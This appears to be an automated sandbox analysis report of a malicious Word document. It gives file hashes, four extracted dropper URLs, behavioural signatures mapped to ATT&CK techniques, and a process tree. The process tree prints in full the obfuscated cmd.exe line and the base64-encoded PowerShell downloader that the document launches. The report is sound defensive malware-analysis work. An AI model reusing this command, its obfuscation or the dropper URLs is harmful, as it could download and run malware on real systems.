8be14fa968650fdce914522f5bf3b82bd74babaa908f8f9c0bfa89f3d8f48489

General

Target

8d1b81bb86140ee49137f10755c1eac6_JaffaCakes118.doc
Size

126KB
MD5

8d1b81bb86140ee49137f10755c1eac6
SHA1

6d773250b5fa65f4b37e740465341c3cc0cd82af
SHA256

8be14fa968650fdce914522f5bf3b82bd74babaa908f8f9c0bfa89f3d8f48489
SHA512

c59ba2e4d8e96b115cbb93b313b041a080f07e37d0a78f053bdf2308678894e76f5e7e7fb95050e566ae9a56253c39f894fe9bae962b801d565e9d722417e797
SSDEEP

1536:TEOYODq0m+ag8dfOP8pnYo2lNwF79we+QMXo27:H9mxOPIX4NA3MX7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://ingridkaslik.com/13B0NlT/

exe.dropper

http://FlorissantFire.com/aspnet_client/hZRItL/

exe.dropper

http://tanimo.com/rLEaqscvt/

exe.dropper

http://wschliemann.de/tl7qp7Wy/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2380	920	Cmd.exe	81

Blocklisted process makes network request 7 IoCs

flow	pid	Process
26	4832	powershell.exe
28	4832	powershell.exe
32	4832	powershell.exe
34	4832	powershell.exe
35	4832	powershell.exe
37	4832	powershell.exe
41	4832	powershell.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

pid	Process
2380	Cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
920	WINWORD.EXE
920	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4832	powershell.exe
4832	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4832	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
920	WINWORD.EXE
920	WINWORD.EXE
920	WINWORD.EXE
920	WINWORD.EXE
920	WINWORD.EXE
920	WINWORD.EXE
920	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 920 wrote to memory of 2380	920	WINWORD.EXE	87
PID 920 wrote to memory of 2380	920	WINWORD.EXE	87
PID 2380 wrote to memory of 4832	2380	Cmd.exe	89
PID 2380 wrote to memory of 4832	2380	Cmd.exe	89

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8d1b81bb86140ee49137f10755c1eac6_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:920
- C:\Windows\SYSTEM32\Cmd.exe
  Cmd VwplwTjVSanff NVaXENuBoUTEGBiiiTZsRVzbJLSE wtOidREIIjw & %^c^o^m^S^p^E^c^% %^c^o^m^S^p^E^c^% /V /c set %TIVStNibnsJMFFv%=dvuBbzH&&set %PGMqAzsbqTEKX%=p&&set %tbijakMCF%=o^w&&set %YaqXXcaZVnbZJzf%=wdqQomhIdhRb&&set %OWkYqzw%=!%PGMqAzsbqTEKX%!&&set %NOiWVAwsCqKzNSo%=ifmAwNwXlh&&set %zOkzTjOqn%=e^r&&set %SssTTpdvC%=!%tbijakMCF%!&&set %qDchRIrTilYU%=s&&set %TlsitpLzMGIEDJD%=fFTrCVwJizvQd&&set %hYYrTLqfN%=he&&set %zsmPtIG%=ll&&!%OWkYqzw%!!%SssTTpdvC%!!%zOkzTjOqn%!!%qDchRIrTilYU%!!%hYYrTLqfN%!!%zsmPtIG%! -e IAAoAE4ARQBXAC0ATwBiAEoARQBDAHQAIAAgAHMAWQBTAFQARQBNAC4ASQBPAC4AYwBPAE0AUAByAGUAUwBTAGkATwBuAC4AZABlAEYATABBAHQAZQBTAFQAUgBFAEEATQAoAFsAUwBZAFMAVABlAE0ALgBpAE8ALgBNAEUATQBvAFIAeQBzAHQAcgBFAGEAbQBdAFsAUwB5AFMAVABFAE0ALgBDAG8AbgBWAEUAcgBUAF0AOgA6AEYAcgBvAG0AQgBBAHMARQA2ADQAUwB0AHIASQBOAGcAKAAnAFIAVgBKAC8AYQA5AHMAdwBFAFAAMQAvADAATwA4AGcAZwBxAGsAawAzAE0AaABOAEEAKwB1AG8ASwBYAFIATgBGAGoAQwBVAEQATwBhAE8AdABLAE4AUQBLADcAWgBTAGUANQBHAGwAMQBGAEsAVABoAHAARAB2AHYAagBzAGwAYQB3ADEAMwBQAHQAbgB2ADMAYgBzAGYAaQBvAHkAVABsAFgAUQBWAHUAUwBhAG4AagBCAG8AYQBVADAAVgBqAFIAagBkADkATwAvADgATABFAFMAMABwAGoANgBtAG4AbgBIAFQAUwBWAEwAWgBOAG8AOABmAEgAMwA0AEEAVgBnAE0AWABmAEcAdwBUADMATABVAFEAQQBMADIAbQBBAGMAcABKAHYAbgBWAGUAdABtAEMAbwB2AFoAbQBvACsAMABvADAAeQBQAG8AMgBtACsAUwAwAHcAbwA2AE8AZwBNAE8AcgBkAHMAOABFADUAUABHAGYAawA0AHQAdgBGAFkARABqAGsAYQBmAFIAOQBQAEgAbwBBAEUASwBNAG4AawBPAHQATAA3AGYAMwBxAEsAawBsAFcARQBGAHQAWABnADMAYwB0AGkAbgBxAHAAQgBXAHEAaABiAEEAdQBXAGoAQgBZACsANgA3AFoARABDAEwAKwArADQAUgBuAHMASgBuAEMAUABCADcAUQBHAGUAMwB2AHAAbQBnAHAAZQBTACsAawAwAGYAcwBJAFEAVABHAEMAZgBIADgAawBHADQASQBhADMANABNADYAbgA0AFAAVAA5AFoANwBZAGsAbQBXAGoAYgBJAGMAcwA1AEMAZAA3ADQAQwBXAGIAcAAxAEMARgBCAGkAMABqAHAAcwBOAG8AdwBSAC8AKwBNAG4ANABNAFEAOQBKAC8AVQBmAHkARAA2AEIAWgBaAGgAQwAzAGYASgAvADUAdwBlAFcAZQBaAFkARABsAFoAZwBCAGUAYgBxADcAaQBEADgAZwBUAEsAdgBEAHAAdABkAEkAKwB1AEQAdABIAEUAbAB6AGcATQBtADIAdwBhADYARQBkAFYAaABkAFQAVAB4ACsAdgBJAFYAYQA3AGkAYwBiAFUAUAByAFgATwBRAHIAMwBYAGgARwBiAHkAZwBNAE8AQgArAFAAYwBBAG4ASwByAEsAOQBXAGIAMwBQAGQAbABDAFEAbQA5AEkAbQBDAEQALwB1AEoAQwBXAE4AaABIAHUAbwBkAEYANgArAEEAcwByAEMAZABrAG0AWABOAEkAdQBrAFcASgBXAGsATQBDAFUAdgBpAE8AOQA5AHQAZAAzAGcAYgBSAEcAOQBzAGkANQBuAFIAeABVADkAWgBUAGIASgBDAHEAOQA0AEIASwBuAHIAMwBOAHYAZABkADAAUgBUAFQAbAB4ADcAagBaAHcAUwAxAGUAWABvAEsAQQBoAG0AMgB1ADcAYQBvAHMATQBRAEwAaABIAFgAMwBNADYALwBDAEEARABoAG4AQgArAFEAYwBkAEoAZgBwAHYAcABTACsAcgBIAGYANwAvAFQAOAA9ACcAKQAgACwAIABbAHMAWQBTAFQAZQBNAC4ASQBPAC4AYwBPAE0AcAByAGUAcwBTAGkATwBOAC4AYwBPAG0AcABSAGUAcwBzAGkATwBOAG0AbwBkAGUAXQA6ADoARABFAEMATwBtAHAAUgBFAHMAcwAgACkAfAAgACUAewBOAEUAVwAtAE8AYgBKAEUAQwB0ACAAIABTAHkAUwBUAGUATQAuAEkAbwAuAHMAdAByAGUAQQBtAHIARQBhAGQAZQBSACgAJABfACwAIABbAFMAWQBTAHQARQBNAC4AdABlAHgAVAAuAGUAbgBDAG8ARABpAG4AZwBdADoAOgBBAFMAQwBpAGkAKQB9AHwAIAAlACAAewAgACQAXwAuAHIARQBBAEQAVABPAEUATgBkACgAIAApAH0AIAApAHwAIAAuACgAIAAkAHAAUwBoAE8AbQBFAFsANABdACsAJABQAHMAaABPAG0ARQBbADMANABdACsAJwBYACcAKQA=
  2⤵
  - Process spawned unexpected child process
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:2380
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e IAAoAE4ARQBXAC0ATwBiAEoARQBDAHQAIAAgAHMAWQBTAFQARQBNAC4ASQBPAC4AYwBPAE0AUAByAGUAUwBTAGkATwBuAC4AZABlAEYATABBAHQAZQBTAFQAUgBFAEEATQAoAFsAUwBZAFMAVABlAE0ALgBpAE8ALgBNAEUATQBvAFIAeQBzAHQAcgBFAGEAbQBdAFsAUwB5AFMAVABFAE0ALgBDAG8AbgBWAEUAcgBUAF0AOgA6AEYAcgBvAG0AQgBBAHMARQA2ADQAUwB0AHIASQBOAGcAKAAnAFIAVgBKAC8AYQA5AHMAdwBFAFAAMQAvADAATwA4AGcAZwBxAGsAawAzAE0AaABOAEEAKwB1AG8ASwBYAFIATgBGAGoAQwBVAEQATwBhAE8AdABLAE4AUQBLADcAWgBTAGUANQBHAGwAMQBGAEsAVABoAHAARAB2AHYAagBzAGwAYQB3ADEAMwBQAHQAbgB2ADMAYgBzAGYAaQBvAHkAVABsAFgAUQBWAHUAUwBhAG4AagBCAG8AYQBVADAAVgBqAFIAagBkADkATwAvADgATABFAFMAMABwAGoANgBtAG4AbgBIAFQAUwBWAEwAWgBOAG8AOABmAEgAMwA0AEEAVgBnAE0AWABmAEcAdwBUADMATABVAFEAQQBMADIAbQBBAGMAcABKAHYAbgBWAGUAdABtAEMAbwB2AFoAbQBvACsAMABvADAAeQBQAG8AMgBtACsAUwAwAHcAbwA2AE8AZwBNAE8AcgBkAHMAOABFADUAUABHAGYAawA0AHQAdgBGAFkARABqAGsAYQBmAFIAOQBQAEgAbwBBAEUASwBNAG4AawBPAHQATAA3AGYAMwBxAEsAawBsAFcARQBGAHQAWABnADMAYwB0AGkAbgBxAHAAQgBXAHEAaABiAEEAdQBXAGoAQgBZACsANgA3AFoARABDAEwAKwArADQAUgBuAHMASgBuAEMAUABCADcAUQBHAGUAMwB2AHAAbQBnAHAAZQBTACsAawAwAGYAcwBJAFEAVABHAEMAZgBIADgAawBHADQASQBhADMANABNADYAbgA0AFAAVAA5AFoANwBZAGsAbQBXAGoAYgBJAGMAcwA1AEMAZAA3ADQAQwBXAGIAcAAxAEMARgBCAGkAMABqAHAAcwBOAG8AdwBSAC8AKwBNAG4ANABNAFEAOQBKAC8AVQBmAHkARAA2AEIAWgBaAGgAQwAzAGYASgAvADUAdwBlAFcAZQBaAFkARABsAFoAZwBCAGUAYgBxADcAaQBEADgAZwBUAEsAdgBEAHAAdABkAEkAKwB1AEQAdABIAEUAbAB6AGcATQBtADIAdwBhADYARQBkAFYAaABkAFQAVAB4ACsAdgBJAFYAYQA3AGkAYwBiAFUAUAByAFgATwBRAHIAMwBYAGgARwBiAHkAZwBNAE8AQgArAFAAYwBBAG4ASwByAEsAOQBXAGIAMwBQAGQAbABDAFEAbQA5AEkAbQBDAEQALwB1AEoAQwBXAE4AaABIAHUAbwBkAEYANgArAEEAcwByAEMAZABrAG0AWABOAEkAdQBrAFcASgBXAGsATQBDAFUAdgBpAE8AOQA5AHQAZAAzAGcAYgBSAEcAOQBzAGkANQBuAFIAeABVADkAWgBUAGIASgBDAHEAOQA0AEIASwBuAHIAMwBOAHYAZABkADAAUgBUAFQAbAB4ADcAagBaAHcAUwAxAGUAWABvAEsAQQBoAG0AMgB1ADcAYQBvAHMATQBRAEwAaABIAFgAMwBNADYALwBDAEEARABoAG4AQgArAFEAYwBkAEoAZgBwAHYAcABTACsAcgBIAGYANwAvAFQAOAA9ACcAKQAgACwAIABbAHMAWQBTAFQAZQBNAC4ASQBPAC4AYwBPAE0AcAByAGUAcwBTAGkATwBOAC4AYwBPAG0AcABSAGUAcwBzAGkATwBOAG0AbwBkAGUAXQA6ADoARABFAEMATwBtAHAAUgBFAHMAcwAgACkAfAAgACUAewBOAEUAVwAtAE8AYgBKAEUAQwB0ACAAIABTAHkAUwBUAGUATQAuAEkAbwAuAHMAdAByAGUAQQBtAHIARQBhAGQAZQBSACgAJABfACwAIABbAFMAWQBTAHQARQBNAC4AdABlAHgAVAAuAGUAbgBDAG8ARABpAG4AZwBdADoAOgBBAFMAQwBpAGkAKQB9AHwAIAAlACAAewAgACQAXwAuAHIARQBBAEQAVABPAEUATgBkACgAIAApAH0AIAApAHwAIAAuACgAIAAkAHAAUwBoAE8AbQBFAFsANABdACsAJABQAHMAaABPAG0ARQBbADMANABdACsAJwBYACcAKQA=
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCD8AB3.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_45llzu1x.13w.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/920-19-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

Filesize
2.0MB

Download
memory/920-33-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

Filesize
2.0MB

Download
memory/920-3-0x00007FF99EFAD000-0x00007FF99EFAE000-memory.dmp

Filesize
4KB

Download
memory/920-5-0x00007FF95EF90000-0x00007FF95EFA0000-memory.dmp

Filesize
64KB

Download
memory/920-6-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

Filesize
2.0MB

Download
memory/920-41-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

Filesize
2.0MB

Download
memory/920-8-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

Filesize
2.0MB

Download
memory/920-10-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

Filesize
2.0MB

Download
memory/920-9-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

Filesize
2.0MB

Download
memory/920-11-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

Filesize
2.0MB

Download
memory/920-12-0x00007FF95C9A0000-0x00007FF95C9B0000-memory.dmp

Filesize
64KB

Download
memory/920-13-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

Filesize
2.0MB

Download
memory/920-14-0x00007FF95C9A0000-0x00007FF95C9B0000-memory.dmp

Filesize
64KB

Download
memory/920-15-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

Filesize
2.0MB

Download
memory/920-16-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

Filesize
2.0MB

Download
memory/920-20-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

Filesize
2.0MB

Download
memory/920-0-0x00007FF95EF90000-0x00007FF95EFA0000-memory.dmp

Filesize
64KB

Download
memory/920-18-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

Filesize
2.0MB

Download
memory/920-4-0x00007FF95EF90000-0x00007FF95EFA0000-memory.dmp

Filesize
64KB

Download
memory/920-17-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

Filesize
2.0MB

Download
memory/920-7-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

Filesize
2.0MB

Download
memory/920-44-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

Filesize
2.0MB

Download
memory/920-1-0x00007FF95EF90000-0x00007FF95EFA0000-memory.dmp

Filesize
64KB

Download
memory/920-572-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

Filesize
2.0MB

Download
memory/920-2-0x00007FF95EF90000-0x00007FF95EFA0000-memory.dmp

Filesize
64KB

Download
memory/920-542-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

Filesize
2.0MB

Download
memory/920-543-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

Filesize
2.0MB

Download
memory/920-544-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

Filesize
2.0MB

Download
memory/920-545-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

Filesize
2.0MB

Download
memory/920-546-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

Filesize
2.0MB

Download
memory/920-547-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

Filesize
2.0MB

Download
memory/920-548-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp

Filesize
2.0MB

Download
memory/920-568-0x00007FF95EF90000-0x00007FF95EFA0000-memory.dmp

Filesize
64KB

Download
memory/920-569-0x00007FF95EF90000-0x00007FF95EFA0000-memory.dmp

Filesize
64KB

Download
memory/920-570-0x00007FF95EF90000-0x00007FF95EFA0000-memory.dmp

Filesize
64KB

Download
memory/920-571-0x00007FF95EF90000-0x00007FF95EFA0000-memory.dmp

Filesize
64KB

Download
memory/4832-48-0x000002095C160000-0x000002095C182000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads